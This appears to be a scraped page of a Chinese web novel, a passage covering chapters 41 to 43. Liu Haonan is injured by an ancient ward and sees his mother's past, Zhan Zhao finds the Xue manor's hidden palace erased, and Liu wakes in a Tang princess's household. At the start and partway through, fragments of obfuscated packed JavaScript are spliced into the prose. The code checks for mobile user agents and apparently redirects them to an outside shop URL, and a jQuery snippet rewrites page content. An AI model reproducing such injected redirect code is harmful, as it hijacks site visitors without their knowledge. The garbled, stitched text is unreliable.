l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185069|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣时的、微弱到几乎随时会湮灭的奇异气机。 这感应本就因画像被夺、时光流逝而几近于无,此刻捕捉起来更是晦涩异常,如同在狂风中捕捉一缕即将消散的轻烟,在流沙中打捞一枚特定的细沙。神魂的负担极大,额角已有细密的冷汗渗出。 但他不管不顾。指尖毫不犹豫地逼出三滴殷红的心头精血,凌空虚划。血珠并未坠地,反而违背常理地悬浮于空中,随着他指尖那蕴含某种古老韵律的牵引,开始缓缓蠕动、勾勒,形成一个又一个古老、玄奥、仿佛蕴藏着时空之秘的残缺符文。这些血色符文微微发光,扭曲颤动,散发出一种不祥而又庄严的气息。 就在他凝聚全部心神,神识如最纤细的蛛丝,即将颤巍巍地触及那缕微弱血脉印记最核心、最本源的刹那—— 异变陡生! 一股难以言喻、沛然莫御的磅礴力量,仿佛早已埋伏在血脉长河的源头,静候着任何胆敢溯流而上的窥探者。此刻,它被刘皓南这莽撞的、带着北汉刘氏与某种神秘阴柔血脉混合气息的探知所触发,瞬间循着那无形的溯源之线,反噬而来。 这力量并非单纯的刚猛霸道,其中更蕴含着一丝冰冷、精密、宏大如星河流转、万物生灭的推衍玄机。它浩大、精密、冰冷无情,仿佛并非人力所设,而是代表了某种天地法则本身,专为锁死、惩罚任何试图窥探某个被时空与伟力共同掩埋的惊天秘密而存在! “嗡——!!!” 虚空震颤!并非巨响,而是一种直抵灵魂深处的、令人牙酸的嗡鸣! 客房狭窄的空间内,异象呈现!无数细密璀璨、由纯粹金光构成的符文,毫无征兆地凭空闪现!它们并非杂乱无章,而是在出现的瞬间,便自动以某种超越凡人理解的规律,交织、嵌套、组合,眨眼间形成一张层层叠叠、结构繁复精密到令人看一眼便觉头晕目眩、神识都要被吸入其中的金色光网! 光网之上,星芒流转,斗转星移,恍若将一片微缩的、遵循着至高法则运转的星空,生生搬到了这方寸斗室之内!煌煌天威,冰冷肃杀,朝着刘皓南那探出的神识,以及他端坐于地的肉身,无情地、缓慢而无可抗拒地碾压而下! 这绝非寻常修士、乃至寻常门派所能布下的守护禁制!其蕴含的星衍变化、天道推衍之力,已近乎“道”的显化!是远超这个时代理解的、来自百年前那位传奇人物的恐怖手段! “噗——!” 刘皓南甚至连惊骇的念头都来不及升起,更遑论收束那如蛛丝般脆弱探出的神识。他只觉一股无法形容、无法抗拒、仿佛来自整个天地排斥的巨力,沿着那无形的溯源联系,狠狠撞在他的神魂核心之上。 如同被万钧巨锤正面轰击,又似被投入了星辰爆裂的中心。 他浑身剧震,脸色瞬间褪尽血色,变得如同金纸,一口殷红的鲜血再也压抑不住,狂喷而出,在身前地面和那温润玉佩上溅开触目惊心的痕迹。周身原本凝实的气息,如同被戳破的皮球,急剧萎靡、溃散。盘坐的身形再也无法保持,剧烈地摇晃了几下,眼看就要向前一头栽倒,气息微弱得几不可闻。 “皓南!!!” 原本还在跟“牵情丝”较劲、琢磨着怎么开溜的凌霄子,见状脸色骤变,所有的嬉皮笑脸、玩世不恭瞬间消失无踪,取而代之的是一种近乎惊骇的震怒与焦急。什么逃跑,什么面子,全被他抛到了九霄云外! 只听“嘣、嘣”几声轻响,那坚韧无比的银色“牵情丝”竟被他情急之下骤然爆发的、不管不顾的强横真气硬生生崩断了好几处!他身形如一道灰扑扑的闪电,带起一股疾风,猛地扑到刘皓南身边。顾不得自己因强行崩断“牵情丝”而气血翻腾、经脉隐隐作痛,双手已然快如幻影,带着残影,连连点向刘皓南胸前膻中、巨阙等数处关键大穴,以独门手法强行封住其濒临崩溃的心脉,护住最后一丝生机。 同时,他毫不犹豫,将自己精纯浑厚、修炼了数十载的本命真气,如同开闸泄洪般,不顾一切地、疯狂渡入刘皓南那几近枯竭,经脉紊乱甚至出现细微裂痕的体内。 “你这混账小子!倔驴!榆木脑袋!不要命了?!啊?!”凌霄子一边拼尽全力稳住刘皓南体内狂暴乱窜的真气与生机,一边气得浑身发抖,平日总是眯着的眼睛瞪得溜圆,额角青筋暴跳,痛心疾首地破口大骂,“瞎了你的狗眼!没点分寸!这是李淳风那老怪物亲手布下的铁板!上面是他娘的‘周天星衍锁魂禁’!专防血脉溯源,窥探天机的阴损玩意儿!你这点微末道行,够给袁天罡那位‘好’师弟塞牙缝吗?啊?脑袋硬是吧?学人家铁头娃往这上面撞?!你当你师叔我救人是卖大白菜,一救一个准儿?!” 他骂得越是凶狠难听,向刘皓南体内渡入真气的速度却越快,力度越猛,丝毫不顾此举对自身元气的巨大耗损。只见他脸色以肉眼可见的速度变得苍白,额头上渗出豆大的汗珠,顺着脸颊滑落,呼吸也变得粗重急促,显然为了吊住师侄这口气,他已是在透支自己的本源。 在凌霄子不惜元气大损的强行护持下,刘皓南那即将彻底散逸的三魂七魄被勉强拘回,并未立刻堕入永恒的黑暗。然而,就在他意识沉沦、介于清醒与昏迷的混沌边缘之际,那被星衍禁制几乎击碎的神识碎片中,因禁制反噬与血脉追溯的奇异交汇,终于被动地、闪烁地捕捉到了一幅模糊却又无比清晰的记忆碎片—— 那似乎是一处云雾缭绕、清冷孤高的山巅殿阁。一位容颜绝丽、气质清冷如月宫仙子的宫装女子,正跪在冰冷的玉石地面上。她的眉目,与那卷人皮画像上的女子,赫然有七八分神似,只是更添几分成熟风韵与深入骨髓的哀婉——正是刘皓南记忆中早已模糊的母妃面容。 而坐在上首的,是一位面容冷峻、白发如雪,目光如电、不怒自威的缁衣老妪。她只是静静坐着,便有一股渊渟岳峙、令人不敢逼视的威严。 母妃的声音响起,凄楚、决绝,却又带着一种不容置疑的坚定,字字如锥,敲打在刘皓南濒临破碎的心神上: “师父在上,弟子自知身为玉女门圣女,有负师恩,然弟子心意已决。北汉刘氏虽已式微,但刘继恩志存高远,待我至诚至真……弟子愿为他,叛出玉女门!此生……无悔!” 言罢,在刘皓南“眼前”,在玉女门师尊冰冷目光的注视下,他那位总是温柔浅笑的母妃,竟猛地抬起右掌,掌间凝聚着精纯无比的阴柔真气,然后,毫不犹豫地、带着一股惨烈的决绝,狠狠拍向自己的天灵盖! “不——!” 刘皓南破碎的神识发出无声的嘶吼。 画面中,一股精纯无比、显然已臻化境的玉女门真气,瞬间从母妃天灵溃散,如星河崩碎!她周身气息以肉眼可见的速度萎靡下去,脸色灰败,那是功力尽废、经脉寸断的惨烈景象!她竟为了嫁给父王,不仅叛出师门,更是自废了苦修多年、视若生命的玉女门至高秘传修为?! 母妃……她竟是玉女门上一代圣女?! 这突如其来的、颠覆性的真相,如同九天神雷,混合着星衍禁制带来的神魂剧痛,在他本已遭受重创、脆弱不堪的心神中轰然炸开!比肉身创伤痛苦百倍、千倍的,是认知被彻底撕裂、过往一切温情回忆都被蒙上惨烈阴影所带来的巨大冲击与灵魂激荡。神魂在这双重打击下发出不堪重负的哀鸣,最后一丝维系清醒的弦,铮然断裂。 “噗——”又是一小口淤血溢出嘴角,刘皓南最后模糊地看到凌霄子那张因焦急和透支而苍白如纸的脸,和他依旧在骂骂咧咧却掩不住恐慌的嘴形,随即便彻底失去了所有知觉,沉入无边无际的黑暗深渊。 “混账东西!真是欠了你的!”凌霄子感受着刘皓南体内气息的彻底沉寂与心神那剧烈震荡后的残破,低吼一声,再也顾不得其他。他一咬牙,猛地咬破自己舌尖,喷出一小口蕴含本命精元的鲜血在掌心,双手十指如穿花蝴蝶,幻化出一连串更加繁复、古老、甚至带着某种禁忌气息的印诀,狠狠按在刘皓南心口与灵台! 一股更加强大却也更伤本源的柔和力量强行注入,如同最坚韧的丝线,勉强缝补、稳住了刘皓南那即将彻底溃散的真元与生机。而施术的凌霄子,整个人如同被抽去了大量精气神,脸色惨白如鬼,身形都佝偻了几分,周身那属于顶尖高手的气息,此刻萎靡到了极点,显然为了护住师侄性命,他已付出了难以想象的惨重代价。 客房内,那盏摇曳了许久的油灯,灯花终于爆出最后一个细小的火花,挣扎着,熄灭了。 最后一丝光明湮灭,黑暗如同潮水般涌来,瞬间吞噬了一切。只余下凌霄子粗重、疲惫、甚至带着一丝痛楚的喘息声,在浓得化不开的黑暗与寂静中,一声声,沉重地回响。 刘皓南静静躺在冰冷的地面上,面色灰败,唇边血迹未干,意识沉入未知的、或许布满更多惊涛骇浪的深渊。而那枚引发这一切的、母妃遗留的温润玉佩,则滚落在他的手边不远处,在窗外透入的、极其微弱的夜光下,可以看见其表面,悄然浮现出了几道细微的、如同蛛网般的裂痕。 42. 似梦似幻姑且不能分 破晓时分,洛阳城东。铅灰色的天光吝啬地涂抹下来,将薛府旧址笼罩在一片惨淡的朦胧之中。昔日雕梁画栋、钟鸣鼎食的宅邸,如今只剩断壁残垣,如同被岁月啃噬殆尽的巨兽骨骸,无言地匍匐在愈发喧闹的都市边缘。晨雾如纱,带着湿冷的寒意,萦绕在焦黑的木料与碎裂的砖石之间,却丝毫掩盖不住昨夜那场短暂而激烈的交锋所遗留的痕迹。 展昭一身湛蓝官服,在尚未散尽的薄雾与废墟的阴影中,显得格外挺拔,却也格外孤峭。他身侧跟着一名面色苍白、眼神惊惶未定的少年,正是昨夜于地宫边缘被寻获、刚刚确认身份的薛氏遗孤。少年紧紧攥着展昭腰间巨阙剑的剑鞘末端,指节发白,仿佛那是唯一能抓住的浮木。 再次踏入这片焦土,空气中似乎还残留着淡淡的血腥与烟尘气息。断裂的石柱指向灰蒙蒙的天空,焦黑的梁木横陈,满地碎瓦砾在脚下发出细碎的声响,更深处的泥土呈现出一种不祥的暗褐色——那是经年累月、早已渗入地底的血渍,与昨夜可能新增的痕迹混合在一起,无声地诉说着跨越二十多年的惨烈。 展昭步伐沉凝,按着记忆,走向那片他曾与刘皓南对峙、机关骤起的区域。昨夜,白玉舞殿那隐秘的入口,便在一口看似寻常的古井之下。越走,他心头越是沉重。 然而此刻—— 眼前所见,让这位见惯风浪的御前四品带刀护卫,瞳孔也骤然收缩。 空。一片令人心悸的空旷。 那口古井,连同井台、辘轳,以及其下可能深达数丈、通往白玉舞殿的地宫入口,消失了。不是填埋,不是炸毁,而是彻彻底底、干干净净地消失了。原地既无坍塌的砖石,亦无挖掘的坑洞,甚至连大规模土方移动的痕迹都微乎其微。只有一片异常平整、仿佛被无形巨掌仔细抚平过的荒地,上面稀稀拉拉长着些枯黄的野草,在晨风中无力摇曳。仿佛那幽深的地宫、重重杀机的机关、昨夜激烈的打斗、乃至那些被刻意掩埋的历史,都不过是一场荒诞离奇的集体幻梦。 若非空气中,那缕极淡、却凌厉得如同实质冰刃、刺得人皮肤隐隐生寒的残留剑气,展昭几乎要怀疑自己的记忆。 他蹲下身,摒除杂念,目光如电,仔细扫过那片平整的荒地。终于,在原本应是井口位置、如今只剩些许残破青石井沿残留的断面处,他看到了几道深深的刻痕。那是以绝强内力灌注于剑尖(或剑气)瞬间烙下的印记,线条流畅如银河飞瀑,转折处锋芒内敛,收尾时却带着一丝斩断一切、不容置喙的决绝。正是他再熟悉不过的、师傅聂隐娘独有的玉女剑徽标记!剑痕深深刻入石质,边缘光滑如镜,显示出手法之精准、内力之骇人听闻。这绝非寻常遮掩,而是以无上修为,硬生生将这一片区域,连带着下方可能深达数丈的地宫,仿佛被一只无形的、足以移山倒海的巨手,从这片土地上彻底“抹去”,只留下这冰冷的印记作为宣告。 她来过。不仅带走了昨夜可能遗落的一切与太平公主画像相关的线索,更以这近乎仙佛的手段,亲手、彻底地将这薛府地宫的存在痕迹从世间“抹除”。 展昭默然起身,矗立在这片诡异的空寂之上。晨风吹动他官服的下摆,猎猎作响,却吹不散他眉宇间凝聚的沉重。聂隐娘昨夜那句冰冷的话语,言犹在耳,字字如冰锥刺心:“此间种种,乃玉女门私事,宋廷不配染指。” 如今看来,这不仅是警告,更是宣告。宣告此地的一切,已归玉女门处置。宣告他,乃至他背后的开封府、大宋朝廷,都无权再过问。甚至连追查的“入口”,都已被彻底物理性抹去。 “展大人,展大人!” 略显急促的呼唤将展昭的思绪拉回。只见洛阳府的通判王伦揣着袖子,带着几名属官,深一脚浅一脚地绕过瓦砾,急步凑了过来。王伦年约四旬,面皮白净,此刻却眉头紧锁,额角隐有汗意。他先是对着那片凭空消失的井口空地愣了一瞬,眼底飞快掠过一丝惊惧,但随即被更深的焦灼取代。 他凑近展昭,几乎是用气音,压低了嗓子道:“展护卫,您也瞧见了……这、这真是……天威难测,或是年久塌陷也未可知。不过,下官有句不当讲的话,憋在心里实在难受。”他左右瞟了瞟,声音压得更低,“薛府这案子,都过去二十多年了!卷宗就在府衙架阁库里,白纸黑字,铁案如山:乾兴元年秋,薛氏一族不慎走水,又逢流寇趁火打劫,阖府上下……唉,无人生还。现场勘查记录、尸格比对、邻里证词,一应俱全,当年刑部都复核过的!铁案,这是铁案啊!” 他咽了口唾沫,继续道,语气带上了一丝不易察觉的规劝甚至抱怨:“再说最近这七起……唉,惨案。下官知道您心系黎民,明察秋毫,觉得其中必有蹊跷。可您再想想,这七户人家,是不是都有人曾从这薛府废墟里……‘拿’过东西?砖瓦、木料,甚或是一些不起眼的小物件?按您转述那位聂前辈的说法,那是他们自家贪念作祟,引动了这地下不干净的‘东西’,中了那劳什子‘天魔引’的邪术,这才回家后心性大变,发了疯癫,举刀向亲……这说破天去,根子也是他们自个儿起了贪心,咎由自取啊!” 一旁须发已见花白的推官陈实也捻着稀疏的胡须,慢条斯理地帮腔,话里话外却绵里藏针:“展护卫,王大人所言,皆是实情。这七桩案子,下官与仵作反复勘验,尸身伤口确系自家常用刀具所致,现场门窗完好,无外人闯入痕迹,财物亦无短缺。按《宋刑统》与办案常例,这便是突发癫狂之症,致灭门惨祸。我洛阳府上下连日奔波,已拟好了结案陈词——‘七户家主突发癔症,狂性大作,致灭门之祸,实属人间惨剧’。人证、物证、尸格、现场,链条清晰。您若一定要将之与二十多年前的陈年旧案硬扯上关系……” 他顿了顿,抬眼看了看展昭没什么表情的脸,声音放缓,却更清晰:“难不成,展护卫是要质疑当年刑部于乾兴年间的定谳?要翻这二十多年前的旧案?这……牵涉可就广了。开封府固然权重,可我洛阳府亦有守土之责,此案脉络清晰,若久拖不决,或节外生枝,恐非百姓之福,亦非朝廷乐见。” 几位地方官员,你一言我一语,看似客气恭敬,实则已织成一张无形而坚韧的网。话里话外,无非三层意思:薛府旧案是刑部盖棺定论的铁案(年号细节都点明了),翻不得;新案是苦主“自作孽”,合乎法理人情,查无可查;你开封府的手,伸得过长了,该收一收了。这不仅是推诿,更是隐隐的警告——在洛阳地界,要按洛阳府的规矩来。 展昭在官场十数年,从一介江湖客到御前四品,岂能听不懂这弦外之音?他面色沉静,目光扫过王伦闪烁的眼神和陈实那看似恳切实则疏离的表情,心下明了。官场有官场的默契,地方有地方的盘算。翻旧案,意味着否定前任官员的政绩,触动可能盘根错节的旧日关系网,更会引发无数不可预知的麻烦。将新案定为“癔症”,虽显冷漠,却是对官府而言最“稳妥”、最“干净”的处理方式。他若执意深究,便是与整个洛阳官场的“共识”为敌。 而比这官场压力更沉重、更直接的,是来自师门的无形警告。空气中那缕熟悉的、冰冷刺骨的剑气,青石上那深刻决绝、代表着“抹除”与“禁令”的玉女剑徽,无一不在无声宣告:封禁此地,是聂隐娘亲手所为。她此刻代表的,不再仅仅是他展昭的授业恩师,更是那个超然物外、立场莫测、底蕴深不可测的玉女门。她移走了地宫入口,带走了“天魔引”,也彻底斩断了所有可能追查下去的实物线索。留下的,只有这无声而强大的警告。 他想起聂隐娘提及“天魔引”时,那近乎漠然的评价:“贪念自招祸端,与宋廷律法何干?” 是啊,邪物惑人,放大欲念,听起来是“自作孽”。可那薛府地宫因何而有“天魔引”?乾兴元年的灭门惨案真相究竟为何?这七户人家的悲剧,仅仅是“贪念”二字可以轻飘飘掩盖的吗?这些疑问,如今随着地宫被整个移走、入口彻底消失,“天魔引”不知所踪,都成了无源之水,无本之木。他甚至连“现场”都没有了。 于公,他若想追查,首先面对的是洛阳府完整的“癔症”结案陈词和刑部存档的铁案卷宗,证据链对他极为不利。于私,聂隐娘对他有授艺引路之恩,如今更以绝强手段封死前路,那份如山师恩,那份江湖人最看重的“道义”,他无法不顾。更何况,即便他想不顾一切,又从何查起?井都没了。 展昭的目光缓缓扫过那片被无形力量抹平的空地,又掠过王伦、陈实等官员那隐含催促与疏离的脸,最后落回脚下冰冷的剑痕。他心下已然雪亮:地宫入口已彻底消失,物证湮灭无踪,所有线索被师门亲手斩断。官府的结论已然成型,堵死了前路。此刻,即便他心中疑云再重,坚信这七起灭门案与薛府旧案背后必有骇人听闻的阴谋,但……口说无凭。他拿什么去对抗洛阳府那份即将呈报的、看似“合情合理合法”的结案陈词?又拿什么去撼动刑部存档二十多年、卷帙浩繁的旧案铁卷?他甚至无法向任何人证明,这里曾经有一口通往秘密的井。 内外交困,公私两难。进,则违背官场潜规则,触怒地方,更可能直面师门之怒,且无实证,师出无名。退……难道就任由二十多条人命如此不明不白地被归结为“癔症”?任由薛府满门惨案永沉地下? 晨光渐亮,金色染上远处洛阳城的雉堞,却丝毫照不进这片被遗弃的废墟,更照不进那被彻底移走、深埋未知之处的黑暗。展昭伫立良久,身姿挺拔如松,背影却透出一股深沉的无力。他终于,几不可闻地,黯然长叹一声。那叹息极轻,却仿佛耗尽了周身力气,里面含着对真相求而不得的不甘,对时势比人强的无奈,更有作为执法者却连“现场”都失去、无力撕开迷雾的清醒与痛楚。 他缓缓回身,目光落在身旁那一直沉默、身体微微发抖的薛氏遗孤身上。少年稚嫩的脸上还残留着巨大的惊悸与茫然,眼眸深处是对这无常世间的恐惧。这是薛家唯一的血脉,是昨夜那场诡谲风波中无辜的幸存者,也是眼前这困局中,他展昭唯一能确定、能切实伸手去保护的人。 “罢了。” 展昭在心中默道,仿佛终于做出了一个艰难而痛苦的决定。五指在身侧缓缓收紧,又一点点松开。“地宫之谜,七案之诡,牵连甚广,背后恐有惊天隐秘,非我一人一时之力可解,更非此刻僵局可破。然,这少年确是薛氏骨血,无辜卷入,身世飘零。既不能即刻查明真相,为冤者伸张,至少……需护他周全,带回开封,禀明包大人,妥善安置,助其安稳度日。如此,也算不负包大人信任所托,不负这身朝廷赐予的官服,不负……心中一点未冷的公道。” 至于薛府废墟下埋藏的秘密,“天魔引”的来龙去脉,玉女门讳莫如深的“私事”,乃至那可能牵扯到太平公主与前朝秘辛的画像……此刻,只能暂且搁下,深埋心底。那口井,连同其下的世界,已随师傅的剑,消失于无形。 他最后深深看了一眼那片平整得诡异的荒地,以及荒地边缘那冰冷的剑痕,将此地景象、官员话语、以及心头所有翻腾的疑云与不甘,都深深镌刻入心底。随即,他收敛起所有外露的情绪,脸上恢复了惯常的沉稳与平静,仿佛刚才那一瞬的挣扎从未发生。他伸手,轻轻拍了拍少年单薄而颤抖的肩膀,语气是令人安心的沉稳:“此地已无可查,随我回开封府。” 旭日终于完全跃出地平线,万丈金光洒满古老的洛阳城,街市渐渐苏醒,人声开始喧哗。但这片城东废墟,依旧沉浸在阴影与寂静之中。展昭带着薛氏遗孤,转身,迈步,湛蓝的官服渐渐融入长街尽头初升的日光里。 而薛府的秘密,七桩灭门案的真相,连同昨夜那惊心动魄的一切,如同那口被彻底移走的古井一样,从这片土地上消失无踪,重归一片更深的、无人能够触及的寂静与未知。 唯有不知疲倦的风,依旧掠过断壁残垣,发出呜咽般的声响,如泣如诉,仿佛在低语着那些再也无人倾听、也无人能够证实的故事。 刘皓南的意识是从一阵剧烈的眩晕与沉闷头痛中挣脱出来的,仿佛被人从深水里强行捞出。他猛地睁开双眼,急促地喘息了几下,映入眼帘的景象让他瞬间僵住—— 不是洛阳客栈那陈旧斑驳、有水渍蜿蜒的木质屋顶,而是轻柔飘逸的藕荷色绫罗帐幔,其上绣着精细繁复的流云纹,帐顶悬着一枚精巧的鎂金镂空香球,正徐徐逸散出缕缕清冽甘甜的瑞脑香气,馥郁却不腻人。 这不是客栈! 他心脏骤然紧缩,几乎是弹坐而起。低头审视自身,寒意顷刻间爬上脊椎——他身上穿着一套从未见过的服饰。那是一袭用料考究、裁剪合体的绯色圆领袍衫,腰间束着黑色皮革制成的鞶带,带上镶嵌方形玉銙,赫然是水苍玉质地。这不是他最熟悉的装扮,更像是……记忆中翻阅过的典籍图谱上所描绘的唐人官服样式。触手所及,袍服的布料细腻柔滑,带着丝绸特有的凉意,刺绣纹路立体清晰,绝非粗劣仿制品或梦境幻影能达到的真实质感。 他是谁?这里是何处?! 霍然翻身下榻,赤足踏上冰凉平整、纹理细腻的木质地板上。刘皓南强迫自己冷静,锐利的目光迅速扫视这间寝屋。房间轩敞,北面墙壁悬挂着一幅笔力遒劲、设色富丽的《步辇图》摹本,画风确系阎立本一脉。南窗下,一张宽大的紫檀木书案占据显要位置,案上陈设着青瓷辟雍砚、青玉笔山、成卷的麻纸与几支形态各异的毛笔,所有器物的形制、工艺,都透着一股古拙而精雅的气韵,与他所知的宋制文房截然不同,更接近史书描述中展现的初唐风貌。墙角那架螺钿镶嵌的箜篌,漆色温润,工艺繁复,静静诉说着此间主人不凡的品味与地位。 这里的一切,从建筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那侍女被他突然拦住,吓得浑身一颤,手中托盘剧烈晃动,茶汤险些泼洒出来。她慌忙稳住,头垂得更低,几乎要埋进胸口,声音细若蚊蚋,带着无法掩饰的惊惧和恭敬:“薛…薛驸马,您、您莫要吓奴婢……奴婢只是奉、奉命给公主殿下送一盏醒神茶,不敢耽搁……” 薛驸马?! 这三个字如同冰锥,狠狠刺入刘皓南的耳膜,让他瞬间如坠冰窟。他瞳孔骤缩,脑海中关于太平公主的记载电光石火般闪过——高宗爱女,先嫁薛绍,后嫁武攸暨。薛绍!这里是大唐?是太平公主府?那自己…… 不,不对!他明明还是刘皓南,能清晰感受到自己的内息运转,记得洛阳客栈发生的一切,记得玉佩,记得那反噬的星衍禁制!可为什么在别人眼中…… “薛驸马。” 一个稍显清冷、语气平稳的女声自身后传来,打断了他混乱的思绪。 刘皓南倏然转身。只见一位年约三旬、身着豆绿色圆领窄袖胡服、腰系银带、头梳着高耸发髻的女官,正立于数步之外的回廊阴影中。她面容端庄,眉眼间带着久在宫廷浸淫历练出的沉稳与疏离。她的目光在刘皓南身上那套绯色官袍上略微停顿,似乎对他这身“不合时宜”的日常装束略感意外,但很快便垂下眼帘,姿态恭谨地行了一礼,只是那语气平淡得听不出太多温度,甚至隐隐有一丝几不可察的、属于公主心腹对“外姓”驸马那种惯有的、克制的疏淡。 “驸马既已起身,还请速往绫绮殿。” 女官的声音清晰而平稳,却带着不容置疑的意味,“公主殿下今晨自宫中归来,心绪……颇为不豫。” 她稍作停顿,似乎在选择措辞,然后继续用那种平铺直叙、却暗含微妙信息的口吻说道:“皇后陛下于麟德殿赐宴,本是佳日良辰。奈何永亲王家那位新受封的宜都郡主,年轻气盛,席间言语无状,于众目睽睽之下,竟暗指薛大娘子(注:指薛绍之嫂)的出身门第……有可议之处,言语间颇多冲撞僭越。” 她稍稍抬眼,极快地瞥了一下刘皓南——在刘皓南自己的感知中,他明明还是自己的面容、身形,甚至能摸到下颌处一道旧日练功留下的细微疤痕。可在这位女官,以及刚才那侍女的眼中,映出的恐怕是另一张属于青年薛绍的、风姿特秀的容颜。他此刻的惊疑、审视,在她们看来,或许只是“驸马”对家事烦扰的凝重。 “公主殿下是何等心高气傲、重情护短之人?” 女官的语气里,那丝对“驸马家事累及公主”的微词几乎要掩藏不住,尽管她努力维持着表面的恭顺,“自家嫂嫂平白受此折辱,虽当时碍于皇后陛下与诸命妇在场,未便当场发作,然回府这一路,直至此刻,始终缄默不语,容色清寒。奴婢等百般劝解,俱是无用。” 她说着,再次微微躬身,做了一个明确的“请”的手势,姿态无可挑剔,却带着宫廷女官特有的、绵里藏针的压力:“此等心结,恐非奴婢等可解。还请驸马速去宽慰。公主殿下的脾气,驸马您是知晓的,这般闷在心里,最是伤身。况且,”她顿了顿,声音压低了一丝,“殿下此刻心情不快,若驸马迟迟不至……” 未尽之言,意味深长。大唐公主,尤其是太平公主这等备受帝后宠爱、权势赫赫的金枝玉叶,其驸马的地位,很多时候更像是一种荣耀性的附属。公主府的真正主人是公主,驸马在府中,尤其在涉及公主情绪的事务上,往往并无太多自主权,反而需要时时安抚,处处顺应。 刘皓南立在原地,只觉得一股寒意混合着荒谬感自心底蔓延至四肢百骸。侍女惶恐的称呼,女官看似恭敬实则隐含催促与轻微埋怨的态度,这宏大严谨、绝非寻常富贵之家能拥有的府邸规制,身上这套莫名其妙却又无比真实的绯色官袍…… 皇后赐宴,麟德殿,永亲王郡主,薛绍嫂嫂的门第之争…… 这些细节太过具体,太过琐碎,充满了鲜活而真实的人际摩擦与贵族生活的烟火气,绝非凭空臆想能够编织。这意味着,将他拖入此境的幕后之人,或者说此地的“规则”,不仅完美复现了太平公主与薛绍婚后生活的某个片段,甚至连这种史书绝不会记载、只存在于当事人记忆深处的微妙冲突与人情世故,都模拟得栩栩如生,逻辑自洽。 史载,薛绍在世时,与太平公主感情甚笃,公主与薛家亲属关系也颇为融洽。眼下这情景,分明是要将他——或者说,将他此刻承载的这个“薛绍”身份——牢牢摁进这段看似平稳幸福、实则暗流汹涌的贵族婚姻日常之中,让他按照某种既定的轨迹走下去。 可是,目的究竟是什么? 是为了让他沉浸在这幻境中,重温(或扮演)薛绍的人生片段?是为了扭曲某种感知,混淆真实与虚幻?还是说,这看似温馨平静的表象之下,本身就隐藏着薛绍命运转折的某个关键线索,甚至是太平公主晚年某些抉择的遥远伏笔? 刘皓南袖中的手缓缓握紧,指尖深深掐入掌心,清晰的痛感提醒着他自身的真实存在。然而周围的一切,他人的认知,却又无比坚固地将他定义为“薛绍”。这种撕裂感让他头皮发麻。 他抬眼,望向女官所示意的、那被称为“绫绮殿”的方向。长廊深深,朱漆栏杆在晨光中泛着润泽的光,庭院寂静,唯有远处隐约传来的、风吹动檐角铜铃的清脆声响,叮咚作响,一声声,清晰地敲在这诡异绝伦的时空错位与身份迷雾之中。他必须去,去面对那位“心绪不豫”的太平公主,去探明这幻境的底细,也去……寻找自己为何会变成“薛绍”的答案。 43. 玉女大道,幻境迷离 玉女峰绝顶,观星阁。 万籁俱寂,唯有山风拂过檐角铜铃,发出清越悠远的微响,旋即消散在无边云海与浩瀚天宇之间。阁内穹顶高阔,仰首便能望见深邃夜空中未退的星辰,清冷星辉淡淡洒落。四壁无尘,青石地面光可鉴人,映着星月与渐起的晨光。空气中弥漫着千年寒玉的冷冽气息与若有若无的檀香,纯粹得不染尘埃。 阁内光线最明处,主梁之下,一个长约四尺、宽约一尺的紫檀木长匣,被七道流淌着暗银色光华的符箓与九枚温润剔透的羊脂玉扣交错封镇,悬于半空。木匣本身已是极品,此刻在符箓玉扣的灵光映衬下,更显古朴神秘。里面封存的,是画圣阎立本亲绘、书法巨擘颜真卿题字的太平公主人皮画像——祖师遗容,旷世奇珍,亦是玉女门最大的隐秘之一。 然而,大殿正中央汉白玉雕琢的供台之上,端端正正、沐浴在最先透入窗棂的晨光里的,却并非那传说中的奇珍,而是一幅尺幅寻常、绫绢略显陈旧的画卷。画中是一位身着初唐仕女骑装、飒爽英姿的女子,正于郊野纵马,回眸一笑,神采飞扬。笔法朴拙,设色淡雅,甚至透出几分初学者般的生涩意趣,与“画圣真迹”四字相去甚远。 七岁的刘望舒仰着粉雕玉琢的小脸,黑白分明的大眼睛里盛满了与年龄不符的专注与浓浓的不解。她身上穿着与聂隐娘同色的素白小袍,头发梳成两个乖巧的髻,用浅青色丝带束着。她拽了拽身侧师傅那素白如雪、纤尘不染的宽大衣袖,力道不大,却透着被骄纵孩童特有的直接与依恋。 “师傅,”她的声音清脆稚嫩,在空旷寂静的观星阁内格外清晰,问题也直指核心,“那人皮画是画圣真迹,颜鲁公手书,又是祖师奶奶真容,何等贵重!为什么反而要拿银符玉扣封得严严实实,高高挂在梁上,像个不得了的秘密藏起来?”她扭过头,小手指向大殿中央供台上那幅朴素的画,小眉头蹙着,满是困惑,“反而把这幅……嗯,这瞧着笔法格外、格外质朴的骑马图,供在殿心最亮堂的地方?它……它瞧着也不像什么了不得的法宝呀?” 正在用一方雪白无瑕的丝绢,缓缓擦拭一柄青锋长剑的聂隐娘,动作几不可察地微微一顿。那剑身如一泓秋水,映着渐亮的晨光与她清冷无波的容颜。她并未立刻回答徒儿这童言无忌却触及根本的疑问,目光先落在那幅朴拙的骑马图上。那一瞬,她冰霜雕琢般完美的眉眼间,竟似被晨光融开一丝极细微的裂隙,掠过一抹难以言喻的情绪——那并非怀旧,而是一种超越时光、俯瞰红尘的悲悯与洞彻,仿佛穿过百年烟云,看到了画中定格的那一瞬鲜活与欢愉,也看到了其后漫长得令人叹息的岁月与宿命。这情绪稍纵即逝,快得如同错觉,复归深潭古井般的平静。 “珍宝?”她终于启唇,声音清冷如终年不化的玉女峰顶积雪,又似檐下悬垂的冰凌相触,带着一种历经沧海桑田、看透万丈浮华后的淡漠,“望舒,你祖师奶奶太平公主,生于大唐极盛之世,长于九重宫阙之巅。四海奇珍,万国贡品,她什么没见过?南海龙眼大的明珠,西域于阗无瑕的美玉,契丹献上的千里神驹,吐蕃供奉的鎏金佛像……便是那幅人皮画,集画圣之笔、鲁公之字,乃至那人皮鞣制这等奇诡技艺,在她眼中,与其说是艺术瑰宝,不如说与藩邦岁贡的象牙、犀角、孔雀翎、珊瑚树,并无本质不同。皆是权力的点缀,是四方臣服的象征,是彰显天家威仪的物件。收下,是赏脸,是恩典,是帝王家该有的气度。何曾真正……放在心上?” 